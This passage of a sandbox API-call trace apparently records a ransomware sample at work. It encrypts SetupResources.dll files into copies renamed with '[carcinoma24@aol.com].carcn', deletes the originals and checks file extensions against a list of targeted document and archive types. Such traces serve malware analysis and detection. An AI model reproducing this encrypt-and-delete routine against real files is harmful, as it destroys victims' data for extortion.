lpNewFilePointer=0x0, dwMoveMethod=0x266fec0 | out: lpNewFilePointer=0x0) returned 1 [0159.702] SetFilePointerEx (in: hFile=0x31c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x266fec0 | out: lpNewFilePointer=0x0) returned 1 [0159.702] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1041\\SetupResources.dll.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\588bce7c90097ed212\\1041\\setupresources.dll.id-b4197730.[carcinoma24@aol.com].carcn"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x300 [0160.106] GetLastError () returned 0x0 [0160.106] ReadFile (in: hFile=0x31c, lpBuffer=0x38be020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x266fecc, lpOverlapped=0x0 | out: lpBuffer=0x38be020*, lpNumberOfBytesRead=0x266fecc*=0x3d58, lpOverlapped=0x0) returned 1 [0160.170] WriteFile (in: hFile=0x300, lpBuffer=0x38be020*, nNumberOfBytesToWrite=0x3d60, lpNumberOfBytesWritten=0x266fc94, lpOverlapped=0x0 | out: lpBuffer=0x38be020*, lpNumberOfBytesWritten=0x266fc94*=0x3d60, lpOverlapped=0x0) returned 1 [0160.171] ReadFile (in: hFile=0x31c, lpBuffer=0x38be020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x266fecc, lpOverlapped=0x0 | out: lpBuffer=0x38be020*, lpNumberOfBytesRead=0x266fecc*=0x0, lpOverlapped=0x0) returned 1 [0160.171] WriteFile (in: hFile=0x300, lpBuffer=0x38be020*, nNumberOfBytesToWrite=0xf8, lpNumberOfBytesWritten=0x266fc94, lpOverlapped=0x0 | out: lpBuffer=0x38be020*, lpNumberOfBytesWritten=0x266fc94*=0xf8, lpOverlapped=0x0) returned 1 [0160.171] SetEndOfFile (hFile=0x300) returned 1 [0160.171] CloseHandle (hObject=0x300) returned 1 [0160.172] SetFilePointerEx (in: hFile=0x31c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x266fec0 | out: lpNewFilePointer=0x0) returned 1 [0160.172] SetEndOfFile (hFile=0x31c) returned 1 [0160.172] CloseHandle (hObject=0x31c) returned 1 [0160.172] SetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1041\\SetupResources.dll.id-B4197730.[carcinoma24@aol.com].carcn", dwFileAttributes=0x80) returned 1 [0160.173] DeleteFileW (lpFileName="C:\\588bce7c90097ed212\\1041\\SetupResources.dll" (normalized: "c:\\588bce7c90097ed212\\1041\\setupresources.dll")) returned 1 [0160.173] lstrlenW (lpString="C:\\588bce7c90097ed212\\1041\\SetupResources.dll") returned 45 [0160.173] lstrlenW (lpString="C:\\588bce7c90097ed212\\1041\\SetupResources.dll") returned 45 [0160.173] lstrlenW (lpString=".doc") returned 4 [0160.173] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0160.173] lstrlenW (lpString=".docx") returned 5 [0160.173] lstrcmpiW (lpString1=".docx", lpString2="s.dll") returned -1 [0160.173] lstrlenW (lpString=".pdf") returned 4 [0160.173] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0160.173] lstrlenW (lpString=".xls") returned 4 [0160.173] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0160.173] lstrlenW (lpString=".xlsx") returned 5 [0160.173] lstrcmpiW (lpString1=".xlsx", lpString2="s.dll") returned -1 [0160.173] lstrlenW (lpString=".ppt") returned 4 [0160.173] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0160.173] lstrlenW (lpString="C:\\588bce7c90097ed212\\1041\\SetupResources.dll") returned 45 [0160.173] lstrlenW (lpString=".zip") returned 4 [0160.173] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0160.173] lstrlenW (lpString=".rar") returned 4 [0160.173] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0160.173] lstrlenW (lpString=".bz2") returned 4 [0160.173] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0160.173] lstrlenW (lpString=".7z") returned 3 [0160.174] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0160.174] lstrlenW (lpString="C:\\588bce7c90097ed212\\1041\\SetupResources.dll") returned 45 [0160.174] lstrlenW (lpString=".dbf") returned 4 [0160.174] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0160.174] lstrlenW (lpString="C:\\588bce7c90097ed212\\1041\\SetupResources.dll") returned 45 [0160.174] lstrlenW (lpString=".1cd") returned 4 [0160.174] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0160.174] lstrlenW (lpString="C:\\588bce7c90097ed212\\1041\\SetupResources.dll") returned 45 [0160.174] lstrlenW (lpString=".jpg") returned 4 [0160.174] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0160.174] lstrlenW (lpString="C:\\588bce7c90097ed212\\1041\\SetupResources.dll") returned 45 [0160.174] lstrlenW (lpString="C:\\588bce7c90097ed212\\1041\\SetupResources.dll") returned 45 [0160.174] lstrlenW (lpString=".doc") returned 4 [0160.174] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0160.174] lstrlenW (lpString=".docx") returned 5 [0160.174] lstrcmpiW (lpString1=".docx", lpString2="s.dll") returned -1 [0160.174] lstrlenW (lpString=".pdf") returned 4 [0160.174] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0160.174] lstrlenW (lpString=".xls") returned 4 [0160.174] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0160.174] lstrlenW (lpString=".xlsx") returned 5 [0160.174] lstrcmpiW (lpString1=".xlsx", lpString2="s.dll") returned -1 [0160.174] lstrlenW (lpString=".ppt") returned 4 [0160.174] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0160.174] lstrlenW (lpString="C:\\588bce7c90097ed212\\1041\\SetupResources.dll") returned 45 [0160.174] lstrlenW (lpString=".zip") returned 4 [0160.174] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0160.174] lstrlenW (lpString=".rar") returned 4 [0160.174] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0160.174] lstrlenW (lpString=".bz2") returned 4 [0160.174] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0160.174] lstrlenW (lpString=".7z") returned 3 [0160.174] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0160.174] lstrlenW (lpString="C:\\588bce7c90097ed212\\1041\\SetupResources.dll") returned 45 [0160.174] lstrlenW (lpString=".dbf") returned 4 [0160.175] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0160.175] lstrlenW (lpString="C:\\588bce7c90097ed212\\1041\\SetupResources.dll") returned 45 [0160.175] lstrlenW (lpString=".1cd") returned 4 [0160.175] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0160.175] lstrlenW (lpString="C:\\588bce7c90097ed212\\1041\\SetupResources.dll") returned 45 [0160.175] lstrlenW (lpString=".jpg") returned 4 [0160.175] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0160.175] lstrcmpiW (lpString1=".dll", lpString2=".carcn") returned 1 [0160.175] lstrlenW (lpString="SetupResources.dll") returned 18 [0160.175] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1043\\SetupResources.dll" (normalized: "c:\\588bce7c90097ed212\\1043\\setupresources.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x34c [0160.604] GetFileSizeEx (in: hFile=0x34c, lpFileSize=0x266ff14 | out: lpFileSize=0x266ff14*=19288) returned 1 [0160.604] CloseHandle (hObject=0x34c) returned 1 [0160.604] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1043\\SetupResources.dll" (normalized: "c:\\588bce7c90097ed212\\1043\\setupresources.dll")) returned 0x80 [0160.604] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1043\\SetupResources.dll.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\588bce7c90097ed212\\1043\\setupresources.dll.id-b4197730.[carcinoma24@aol.com].carcn")) returned 0xffffffff [0160.604] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1043\\SetupResources.dll" (normalized: "c:\\588bce7c90097ed212\\1043\\setupresources.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x34c [0160.604] SetFilePointerEx (in: hFile=0x34c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x266fec0 | out: lpNewFilePointer=0x0) returned 1 [0160.604] SetFilePointerEx (in: hFile=0x34c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x266fec0 | out: lpNewFilePointer=0x0) returned 1 [0160.604] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1043\\SetupResources.dll.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\588bce7c90097ed212\\1043\\setupresources.dll.id-b4197730.[carcinoma24@aol.com].carcn"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x35c [0160.651] GetLastError () returned 0x0 [0160.651] ReadFile (in: hFile=0x34c, lpBuffer=0x38be020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x266fecc, lpOverlapped=0x0 | out: lpBuffer=0x38be020*, lpNumberOfBytesRead=0x266fecc*=0x4b58, lpOverlapped=0x0) returned 1 [0160.992] WriteFile (in: hFile=0x35c, lpBuffer=0x38be020*, nNumberOfBytesToWrite=0x4b60, lpNumberOfBytesWritten=0x266fc94, lpOverlapped=0x0 | out: lpBuffer=0x38be020*, lpNumberOfBytesWritten=0x266fc94*=0x4b60, lpOverlapped=0x0) returned 1 [0160.994] ReadFile (in: hFile=0x34c, lpBuffer=0x38be020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x266fecc, lpOverlapped=0x0 | out: lpBuffer=0x38be020*, lpNumberOfBytesRead=0x266fecc*=0x0, lpOverlapped=0x0) returned 1 [0160.994] WriteFile (in: hFile=0x35c, lpBuffer=0x38be020*, nNumberOfBytesToWrite=0xf8, lpNumberOfBytesWritten=0x266fc94, lpOverlapped=0x0 | out: lpBuffer=0x38be020*, lpNumberOfBytesWritten=0x266fc94*=0xf8, lpOverlapped=0x0) returned 1 [0160.994] SetEndOfFile (hFile=0x35c) returned 1 [0160.994] CloseHandle (hObject=0x35c) returned 1 [0160.995] SetFilePointerEx (in: hFile=0x34c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x266fec0 | out: lpNewFilePointer=0x0) returned 1 [0160.995] SetEndOfFile (hFile=0x34c) returned 1 [0160.996] CloseHandle (hObject=0x34c) returned 1 [0160.996] SetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1043\\SetupResources.dll.id-B4197730.[carcinoma24@aol.com].carcn", dwFileAttributes=0x80) returned 1 [0160.996] DeleteFileW (lpFileName="C:\\588bce7c90097ed212\\1043\\SetupResources.dll" (normalized: "c:\\588bce7c90097ed212\\1043\\setupresources.dll")) returned 1 [0160.996] lstrlenW (lpString="C:\\588bce7c90097ed212\\1043\\SetupResources.dll") returned 45 [0160.996] lstrlenW (lpString="C:\\588bce7c90097ed212\\1043\\SetupResources.dll") returned 45 [0160.996] lstrlenW (lpString=".doc") returned 4 [0160.996] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0160.996] lstrlenW (lpString=".docx") returned 5 [0160.996] lstrcmpiW (lpString1=".docx", lpString2="s.dll") returned -1 [0160.997] lstrlenW (lpString=".pdf") returned 4 [0160.997] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0160.997] lstrlenW (lpString=".xls") returned 4 [0160.997] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0160.997] lstrlenW (lpString=".xlsx") returned 5 [0160.997] lstrcmpiW (lpString1=".xlsx", lpString2="s.dll") returned -1 [0160.997] lstrlenW (lpString=".ppt") returned 4 [0160.997] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0160.997] lstrlenW (lpString="C:\\588bce7c90097ed212\\1043\\SetupResources.dll") returned 45 [0160.997] lstrlenW (lpString=".zip") returned 4 [0160.997] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0160.997] lstrlenW (lpString=".rar") returned 4 [0160.997] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0160.997] lstrlenW (lpString=".bz2") returned 4 [0160.997] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0160.997] lstrlenW (lpString=".7z") returned 3 [0160.997] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0160.997] lstrlenW (lpString="C:\\588bce7c90097ed212\\1043\\SetupResources.dll") returned 45 [0160.997] lstrlenW (lpString=".dbf") returned 4 [0160.997] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0160.997] lstrlenW (lpString="C:\\588bce7c90097ed212\\1043\\SetupResources.dll") returned 45 [0160.997] lstrlenW (lpString=".1cd") returned 4 [0160.997] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0160.997] lstrlenW (lpString="C:\\588bce7c90097ed212\\1043\\SetupResources.dll") returned 45 [0160.997] lstrlenW (lpString=".jpg") returned 4 [0160.997] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0160.997] lstrlenW (lpString="C:\\588bce7c90097ed212\\1043\\SetupResources.dll") returned 45 [0160.997] lstrlenW (lpString="C:\\588bce7c90097ed212\\1043\\SetupResources.dll") returned 45 [0160.997] lstrlenW (lpString=".doc") returned 4 [0160.997] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0160.997] lstrlenW (lpString=".docx") returned 5 [0160.997] lstrcmpiW (lpString1=".docx", lpString2="s.dll") returned -1 [0160.997] lstrlenW (lpString=".pdf") returned 4 [0160.997] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0160.997] lstrlenW (lpString=".xls") returned 4 [0160.997] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0160.998] lstrlenW (lpString=".xlsx") returned 5 [0160.998] lstrcmpiW (lpString1=".xlsx", lpString2="s.dll") returned -1 [0160.998] lstrlenW (lpString=".ppt") returned 4 [0160.998] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0160.998] lstrlenW (lpString="C:\\588bce7c90097ed212\\1043\\SetupResources.dll") returned 45 [0160.998] lstrlenW (lpString=".zip") returned 4 [0160.998] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0160.998] lstrlenW (lpString=".rar") returned 4 [0160.998] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0160.998] lstrlenW (lpString=".bz2") returned 4 [0160.998] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0160.998] lstrlenW (lpString=".7z") returned 3 [0160.998] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0160.998] lstrlenW (lpString="C:\\588bce7c90097ed212\\1043\\SetupResources.dll") returned 45 [0160.998] lstrlenW (lpString=".dbf") returned 4 [0160.998] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0160.998] lstrlenW (lpString="C:\\588bce7c90097ed212\\1043\\SetupResources.dll") returned 45 [0160.998] lstrlenW (lpString=".1cd") returned 4 [0160.998] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0160.998] lstrlenW (lpString="C:\\588bce7c90097ed212\\1043\\SetupResources.dll") returned 45 [0160.998] lstrlenW (lpString=".jpg") returned 4 [0160.998] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0160.998] lstrcmpiW (lpString1=".dll", lpString2=".carcn") returned 1 [0160.998] lstrlenW (lpString="SetupResources.dll") returned 18 [0160.998] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1046\\SetupResources.dll" (normalized: "c:\\588bce7c90097ed212\\1046\\setupresources.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x34c [0160.998] GetFileSizeEx (in: hFile=0x34c, lpFileSize=0x266ff14 | out: lpFileSize=0x266ff14*=18264) returned 1 [0160.998] CloseHandle (hObject=0x34c) returned 1 [0160.999] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1046\\SetupResources.dll" (normalized: "c:\\588bce7c90097ed212\\1046\\setupresources.dll")) returned 0x80 [0160.999] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1046\\SetupResources.dll.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\588bce7c90097ed212\\1046\\setupresources.dll.id-b4197730.[carcinoma24@aol.com].carcn")) returned 0xffffffff [0160.999] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1046\\SetupResources.dll" (normalized: "c:\\588bce7c90097ed212\\1046\\setupresources.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x34c [0160.999] SetFilePointerEx (in: hFile=0x34c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x266fec0 | out: lpNewFilePointer=0x0) returned 1 [0160.999] SetFilePointerEx (in: hFile=0x34c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x266fec0 | out: lpNewFilePointer=0x0) returned 1 [0160.999] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1046\\SetupResources.dll.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\588bce7c90097ed212\\1046\\setupresources.dll.id-b4197730.[carcinoma24@aol.com].carcn"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x364 [0161.035] GetLastError () returned 0x0 [0161.035] ReadFile (in: hFile=0x34c, lpBuffer=0x38be020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x266fecc, lpOverlapped=0x0 | out: lpBuffer=0x38be020*, lpNumberOfBytesRead=0x266fecc*=0x4758, lpOverlapped=0x0) returned 1 [0161.137] WriteFile (in: hFile=0x364, lpBuffer=0x38be020*, nNumberOfBytesToWrite=0x4760, lpNumberOfBytesWritten=0x266fc94, lpOverlapped=0x0 | out: lpBuffer=0x38be020*, lpNumberOfBytesWritten=0x266fc94*=0x4760, lpOverlapped=0x0) returned 1 [0161.138] ReadFile (in: hFile=0x34c, lpBuffer=0x38be020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x266fecc, lpOverlapped=0x0 | out: lpBuffer=0x38be020*, lpNumberOfBytesRead=0x266fecc*=0x0, lpOverlapped=0x0) returned 1 [0161.138] WriteFile (in: hFile=0x364, lpBuffer=0x38be020*, nNumberOfBytesToWrite=0xf8, lpNumberOfBytesWritten=0x266fc94, lpOverlapped=0x0 | out: lpBuffer=0x38be020*, lpNumberOfBytesWritten=0x266fc94*=0xf8, lpOverlapped=0x0) returned 1 [0161.138] SetEndOfFile (hFile=0x364) returned 1 [0161.139] CloseHandle (hObject=0x364) returned 1 [0161.140] SetFilePointerEx (in: hFile=0x34c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x266fec0 | out: lpNewFilePointer=0x0) returned 1 [0161.140] SetEndOfFile (hFile=0x34c) returned 1 [0161.140] CloseHandle (hObject=0x34c) returned 1 [0161.140] SetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1046\\SetupResources.dll.id-B4197730.[carcinoma24@aol.com].carcn", dwFileAttributes=0x80) returned 1 [0161.141] DeleteFileW (lpFileName="C:\\588bce7c90097ed212\\1046\\SetupResources.dll" (normalized: "c:\\588bce7c90097ed212\\1046\\setupresources.dll")) returned 1 [0161.141] lstrlenW (lpString="C:\\588bce7c90097ed212\\1046\\SetupResources.dll") returned 45 [0161.141] lstrlenW (lpString="C:\\588bce7c90097ed212\\1046\\SetupResources.dll") returned 45 [0161.141] lstrlenW (lpString=".doc") returned 4 [0161.141] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0161.141] lstrlenW (lpString=".docx") returned 5 [0161.141] lstrcmpiW (lpString1=".docx", lpString2="s.dll") returned -1 [0161.141] lstrlenW (lpString=".pdf") returned 4 [0161.141] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0161.141] lstrlenW (lpString=".xls") returned 4 [0161.141] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0161.141] lstrlenW (lpString=".xlsx") returned 5 [0161.141] lstrcmpiW (lpString1=".xlsx", lpString2="s.dll") returned -1 [0161.141] lstrlenW (lpString=".ppt") returned 4 [0161.141] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0161.141] lstrlenW (lpString="C:\\588bce7c90097ed212\\1046\\SetupResources.dll") returned 45 [0161.141] lstrlenW (lpString=".zip") returned 4 [0161.141] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0161.141] lstrlenW (lpString=".rar") returned 4 [0161.141] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0161.142] lstrlenW (lpString=".bz2") returned 4 [0161.142] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0161.142] lstrlenW (lpString=".7z") returned 3 [0161.142] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0161.142] lstrlenW (lpString="C:\\588bce7c90097ed212\\1046\\SetupResources.dll") returned 45 [0161.142] lstrlenW (lpString=".dbf") returned 4 [0161.142] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0161.142] lstrlenW (lpString="C:\\588bce7c90097ed212\\1046\\SetupResources.dll") returned 45 [0161.142] lstrlenW (lpString=".1cd") returned 4 [0161.142] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0161.142] lstrlenW (lpString="C:\\588bce7c90097ed212\\1046\\SetupResources.dll") returned 45 [0161.142] lstrlenW (lpString=".jpg") returned 4 [0161.142] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0161.142] lstrlenW (lpString="C:\\588bce7c90097ed212\\1046\\SetupResources.dll") returned 45 [0161.142] lstrlenW (lpString="C:\\588bce7c90097ed212\\1046\\SetupResources.dll") returned 45 [0161.142] lstrlenW (lpString=".doc") returned 4 [0161.142] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0161.142] lstrlenW (lpString=".docx") returned 5 [0161.142] lstrcmpiW (lpString1=".docx", lpString2="s.dll") returned -1 [0161.142] lstrlenW (lpString=".pdf") returned 4 [0161.142] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0161.142] lstrlenW (lpString=".xls") returned 4 [0161.142] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0161.142] lstrlenW (lpString=".xlsx") returned 5 [0161.142] lstrcmpiW (lpString1=".xlsx", lpString2="s.dll") returned -1 [0161.142] lstrlenW (lpString=".ppt") returned 4 [0161.142] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0161.142] lstrlenW (lpString="C:\\588bce7c90097ed212\\1046\\SetupResources.dll") returned 45 [0161.142] lstrlenW (lpString=".zip") returned 4 [0161.142] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0161.142] lstrlenW (lpString=".rar") returned 4 [0161.142] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0161.142] lstrlenW (lpString=".bz2") returned 4 [0161.142] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0161.142] lstrlenW (lpString=".7z") returned 3 [0161.143] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0161.143] lstrlenW (lpString="C:\\588bce7c90097ed212\\1046\\SetupResources.dll") returned 45 [0161.143] lstrlenW (lpString=".dbf") returned 4 [0161.143] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0161.143] lstrlenW (lpString="C:\\588bce7c90097ed212\\1046\\SetupResources.dll") returned 45 [0161.143] lstrlenW (lpString=".1cd") returned 4 [0161.143] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0161.143] lstrlenW (lpString="C:\\588bce7c90097ed212\\1046\\SetupResources.dll") returned 45 [0161.143] lstrlenW (lpString=".jpg") returned 4 [0161.143] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0161.143] lstrcmpiW (lpString1=".dll", lpString2=".carcn") returned 1 [0161.143] lstrlenW (lpString="SetupResources.dll") returned 18 [0161.143] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1055\\SetupResources.dll" (normalized: "c:\\588bce7c90097ed212\\1055\\setupresources.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x34c [0161.143] GetFileSizeEx (in: hFile=0x34c, lpFileSize=0x266ff14 | out: lpFileSize=0x266ff14*=17752) returned 1 [0161.143] CloseHandle (hObject=0x34c) returned 1 [0161.143] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1055\\SetupResources.dll" (normalized: "c:\\588bce7c90097ed212\\1055\\setupresources.dll")) returned 0x80 [0161.143] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1055\\SetupResources.dll.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\588bce7c90097ed212\\1055\\setupresources.dll.id-b4197730.[carcinoma24@aol.com].carcn")) returned 0xffffffff [0161.143] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1055\\SetupResources.dll" (normalized: "c:\\588bce7c90097ed212\\1055\\setupresources.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x34c [0161.144] SetFilePointerEx (in: hFile=0x34c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x266fec0 | out: lpNewFilePointer=0x0) returned 1 [0161.144] SetFilePointerEx (in: hFile=0x34c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x266fec0 | out: lpNewFilePointer=0x0) returned 1 [0161.144] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1055\\SetupResources.dll.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\588bce7c90097ed212\\1055\\setupresources.dll.id-b4197730.[carcinoma24@aol.com].carcn"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x35c [0161.147] GetLastError () returned 0x0 [0161.147] ReadFile (in: hFile=0x34c, lpBuffer=0x38be020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x266fecc, lpOverlapped=0x0 | out: lpBuffer=0x38be020*, lpNumberOfBytesRead=0x266fecc*=0x4558, lpOverlapped=0x0) returned 1 [0161.359] WriteFile (in: hFile=0x35c, lpBuffer=0x38be020*, nNumberOfBytesToWrite=0x4560, lpNumberOfBytesWritten=0x266fc94, lpOverlapped=0x0 | out: lpBuffer=0x38be020*, lpNumberOfBytesWritten=0x266fc94*=0x4560, lpOverlapped=0x0) returned 1 [0161.360] ReadFile (in: hFile=0x34c, lpBuffer=0x38be020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x266fecc, lpOverlapped=0x0 | out: lpBuffer=0x38be020*, lpNumberOfBytesRead=0x266fecc*=0x0, lpOverlapped=0x0) returned 1 [0161.360] WriteFile (in: hFile=0x35c, lpBuffer=0x38be020*, nNumberOfBytesToWrite=0xf8, lpNumberOfBytesWritten=0x266fc94, lpOverlapped=0x0 | out: lpBuffer=0x38be020*, lpNumberOfBytesWritten=0x266fc94*=0xf8, lpOverlapped=0x0) returned 1 [0161.360] SetEndOfFile (hFile=0x35c) returned 1 [0161.360] CloseHandle (hObject=0x35c) returned 1 [0161.361] SetFilePointerEx (in: hFile=0x34c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x266fec0 | out: lpNewFilePointer=0x0) returned 1 [0161.361] SetEndOfFile (hFile=0x34c) returned 1 [0161.362] CloseHandle (hObject=0x34c) returned 1 [0161.362] SetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1055\\SetupResources.dll.id-B4197730.[carcinoma24@aol.com].carcn", dwFileAttributes=0x80) returned 1 [0161.362] DeleteFileW (lpFileName="C:\\588bce7c90097ed212\\1055\\SetupResources.dll" (normalized: "c:\\588bce7c90097ed212\\1055\\setupresources.dll")) returned 1 [0161.363] lstrlenW (lpString="C:\\588bce7c90097ed212\\1055\\SetupResources.dll") returned 45 [0161.363] lstrlenW (lpString="C:\\588bce7c90097ed212\\1055\\SetupResources.dll") returned 45 [0161.363] lstrlenW (lpString=".doc") returned 4 [0161.363] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0161.363] lstrlenW (lpString=".docx") returned 5 [0161.363] lstrcmpiW (lpString1=".docx", lpString2="s.dll") returned -1 [0161.363] 